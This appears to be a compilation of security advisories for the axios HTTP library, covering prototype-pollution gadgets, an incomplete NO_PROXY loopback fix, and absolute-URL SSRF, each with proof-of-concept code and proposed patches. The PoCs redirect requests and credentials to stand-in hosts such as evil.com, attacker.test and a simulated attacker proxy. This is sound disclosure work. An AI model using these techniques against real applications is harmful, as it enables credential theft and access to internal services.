---
## Why the existing fix does not cover these
PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{"__proto__": {"x": 1}}` as the config object, which caused `mergeMap['__proto__']` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.
That fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.
---
## Suggested fixes
For `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):
```js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);
```
For `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):
```js
const configValue = merge(
config1[prop],
utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
prop
);
```
For `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):
```js
if (utils.hasOwnProp(config, 'transport') && config.transport) {
transport = config.transport;
}
```
The same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.
---
## Environment
- axios: 1.13.6
- Node.js: 22.22.0
- OS: macOS 14
- Reproduction: confirmed in isolated test harness, both gadgets independently verified
## Disclosure
Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
## Summary
Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
## Affected Properties
1. **`config.auth`** (`lib/adapters/http.js` line 617) Injects attacker-controlled `Authorization` header on all requests.
2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.
5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.
## Proof of Concept
```javascript
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
```
## Impact
- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.
- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.
- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- **Code execution:** Attacker-supplied functions execute during HTTP redirects.
- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.
## Root Cause
`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.
The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.
## Suggested Fix
Apply the existing `own()` helper to all affected properties:
```javascript
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
```
Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
**1. Executive Summary**
This report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.
**Background — The Original Vulnerability**
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy — even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.
**The Incomplete Patch — This Finding**
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.
The patch introduced a hardcoded set of recognized loopback addresses:
```
// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
```
However, **RFC 1122 §3.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.
**Verification**
This bypass has been **independently verified** on:
* **Axios version:** 1.15.0 (latest patched release)
* **Node.js version:** v22.16.0
* **OS:** Kali Linux (rolling)
The Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.
**2. Deep-Dive: Technical Root Cause Analysis**
**2.1 Vulnerable File & Location**
| Field | Detail |
| ------------- | ------------- |
| File | lib/helpers/shouldBypassProxy.js|
| Primary Flaw| isLoopback() — Line 1–3 |
| Supporting Function | shouldBypassProxy() — Line 59–110 |
| Axios Version | 1.15.0 (Latest Patched Release) |
**2.2 How Axios Routes HTTP Requests The Call Chain**
When Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:
```
// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}
```
`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.
**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**
Before Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:
```
Request URL → http://localhost./secret
NO_PROXY → "localhost,127.0.0.1,::1"
Comparison:
"localhost." === "localhost" → FALSE → Proxy used ← BYPASS
"[::1]" === "::1" → FALSE → Proxy used ← BYPASS
```
Both `localhost.` (FQDN trailing dot, RFC 1034 §3.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 §3.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.
**2.4 What the Patch Fixed (Axios 1.15.0)**
The patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:
<img width="602" height="123" alt="01_axios_version_verification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />
**Fix A `normalizeNoProxyHost()` (Lines 47–57)**
Strips alternate representations before comparison:
```
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
// Remove IPv6 brackets: "[::1]" → "::1"
if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
hostname = hostname.slice(1, -1);
}
// Strip trailing FQDN dot: "localhost." → "localhost"
return hostname.replace(/\.+$/, '');
};
```
**Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)**
Allows `127.0.0.1` and `localhost` to match each other interchangeably:
```
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match
```
**Fix C Normalization Applied on Both Sides (Lines 81 & 90)**
```
// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);
```
**2.5 The Incomplete Patch Exact Root Cause**
The fundamental flaw resides in Line 1:
```
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
```
<img width="884" height="135" alt="02_vulnerable_code_loopback_addresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />
***RFC 1122 §3.2.1.3 is unambiguous:**
> "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.
<img width="884" height="537" alt="03_rfc1122_loopback_definition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />
**2.6 Step-by-Step Bypass Execution Trace**
Environment:
```
NO_PROXY = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"
```
**Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):**
```
// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.
```
**2.7 Why the Patch Design Is Flawed**
The patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding |
| ------------- | ------------- | ------------- |
| What was wrong | No normalization before comparison | Incomplete loopback address set|
| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |
| RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 |
| Bypass method | Alternate string representation | Alternate valid loopback address |
| Impact | NO_PROXY bypass → SSRF | NO_PROXY bypass → SSRF (identical) |
```
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)
```
Real-world services that commonly bind to non-standard loopback addresses include:
* Internal microservices and admin dashboards using dedicated loopback IPs
* Development environments with multiple isolated service instances
* Docker and container bridge network configurations
* Test infrastructure allocating sequential loopback IPs across services
**3. Comprehensive Attack Vector & Proof of Concept**
**3.1 Reproduction Steps**
Step 1 — Create a fresh project directory
```
mkdir axios-bypass-test && cd axios-bypass-test
```
**Step 2 — Initialize the project with the patched Axios version**
Create `package.json`:
```
{
"type": "module",
"dependencies": {
"axios": "1.15.0"
}
}
```
Install dependencies:
```
npm install
```
Verify the installed version:
```
npm list axios
# Expected output: axios@1.15.0
```
**Step 3 — Create the PoC file (`poc.js`)**
```
import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);
```
**Step 4 — Execute the PoC**
```
node poc.js
```
**3.2 Observed Output**
The following output was captured during testing on Kali Linux with Axios 1.15.0:
```
=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
[*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED
```
<img width="1621" height="739" alt="05_poc_execution_bypass_confirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />
**3.3 Analysis of Results**
The output conclusively demonstrates the following:
**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 §3.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.
**4. Impact Assessment**
This vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
**4.1 Who Is Impacted?**
Primary Target — Node.js Backend Applications
Any Node.js application that meets **all three of the following conditions** is vulnerable:
```
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing
```
**Affected Deployment Environments**
| Environment | Risk Level |
| ------------- | ------------- |
| Cloud-hosted applications (AWS, GCP, Azure) | Critical|
| Containerised microservices (Docker, Kubernetes) | Critical|
| Corporate networks with mandatory proxy | High|
| CI/CD pipelines with proxy environment variables | High|
| On-premise servers with internal proxy | High|
**Scale of Exposure**
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
**4.3 Impact Details**
**Impact 1 Silent Interception of Internal Service Traffic**
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.
```
Developer expects: Application → 127.0.0.2:8080 (direct)
Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
- Full request URL
- HTTP method
- All request headers (including Authorization, Cookie, API keys)
- Request body (for POST/PUT requests)
- Full response from the internal service
```
The developer receives no error or warning. From the application's perspective, the request succeeds normally.
**Impact 2 — SSRF Mitigation Bypass**
Many applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.
```
SSRF Protection (as configured by developer):
NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
All loopback/internal addresses
What is actually protected:
Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
127.0.0.2 through 127.255.255.254 (16,777,213 addresses)
```
An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
**Impact 3 — Cloud Metadata Service Exposure**
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:
* Retrieve temporary IAM credentials
* Access environment variables containing secrets
* Enumerate internal service configurations
* Pivot to other internal services via the compromised credentials
**Impact 4 — Confidential Data Exfiltration**
Any internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:
| Internal Service Type | Exposed Data |
| ------------- | ------------- |
| Admin panels / dashboards | User data, configuration, logs |
| Internal APIs | Business logic, database contents |
| Secret managers / vaults | API keys, tokens, certificates |
| Health check endpoints | Infrastructure topology |
| Development services | Source code, environment variables |
**Impact 5 — No Indication of Compromise**
A particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
**4.4 Comparison with Original Vulnerability**
| Internal Service Type | Exposed Data | Exposed Data |
| ------------- | ------------- | ------------- |
| Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 |
| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 |
| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) |
| Attacker effort| Trivial | Trivial |
| Detection by developer | None | None |
| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
**5. Technical Remediation & Proposed Fix**
**5.1 Vulnerable Code Block**
The vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
```
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
```
This hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:
```
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1
```
**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.
**5.2 Proposed Patched Code**
Replace lines 1–3 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:
```
// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
// Named loopback hostname
if (host === 'localhost') return true;
// IPv6 loopback address
if (host === '::1') return true;
// Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
// Matches any address from 127.0.0.0 through 127.255.255.254
const parts = host.split('.');
return (
parts.length === 4 &&
parts[0] === '127' &&
parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
);
};
```
**5.3 Diff View — Before vs After**
```
// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+ if (host === 'localhost') return true;
+ if (host === '::1') return true;
+ const parts = host.split('.');
+ return (
+ parts.length === 4 &&
+ parts[0] === '127' &&
+ parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+ );
+ };
```
All other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.
**5.4 Why This Fix Must Be Applied**
**Reason 1 — RFC 1122 Compliance**
The current implementation violates **RFC 1122 §3.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
```
RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
A datagram sent by a higher-level protocol to a loopback
address MUST NOT appear on any network."
Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
```
**Reason 2 — The Existing Patch Has Already Failed Once**
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.
**Reason 3 — Real Operating System Behaviour**
On Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.
```
# Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
# Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
```
<img width="711" height="181" alt="04_linux_loopback_subnet_proof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
<img width="588" height="198" alt="06_ping_127 0 0 2_loopback_confirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />
**Reason 4 — The Proposed Fix Has Zero Performance Impact**
The existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:
1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1)
2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements
The computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.
**Reason 5 — The Fix Is Minimal and Surgical**
The proposed change modifies only **3 lines** of a single file. It does not alter:
* The `parseNoProxyEntry()` function
* The `normalizeNoProxyHost()` function
* The `shouldBypassProxy()` main function logic
* Any other file in the codebase
This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
**Reason 6 — Resilient to Alternative IP Encodings**
Because Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
**5.5 Additional Recommendation — IPv6 Loopback Range**
While the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:
```
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1' // Full notation of ::1
'::ffff:127.0.0.1' // IPv4-mapped IPv6 loopback
'::ffff:7f00:1' // Hex IPv4-mapped IPv6 loopback
```
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.
CWE-183 Permissive List of Allowed Inputs, CWE-918 Server-Side Request Forgery (SSRF), CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')Vulnerable Software & Versions (NPM):
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.CWE-918 Server-Side Request Forgery (SSRF)
Vulnerable Software & Versions (NPM):
### Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if `baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
### Details
Consider the following code snippet:
```js
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
```
In this example, the request is sent to `http://attacker.test/` instead of the `baseURL`. As a result, the domain owner of `attacker.test` would receive the `X-API-KEY` included in the request headers.
It is recommended that:
- When `baseURL` is set, passing an absolute URL such as `http://attacker.test/` to `get()` should not ignore `baseURL`.
- Before sending the HTTP request (after combining the `baseURL` with the user-provided parameter), axios should verify that the resulting URL still begins with the expected `baseURL`.
### PoC
Follow the steps below to reproduce the issue:
1. Set up two simple HTTP servers:
```
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
```
2. Create a script (e.g., main.js):
```js
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
```
3. Run the script:
```
$ node main.js
this is server2
```
Even though `baseURL` is set to `http://localhost:10001/`, axios sends the request to `http://localhost:10002/`.
### Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
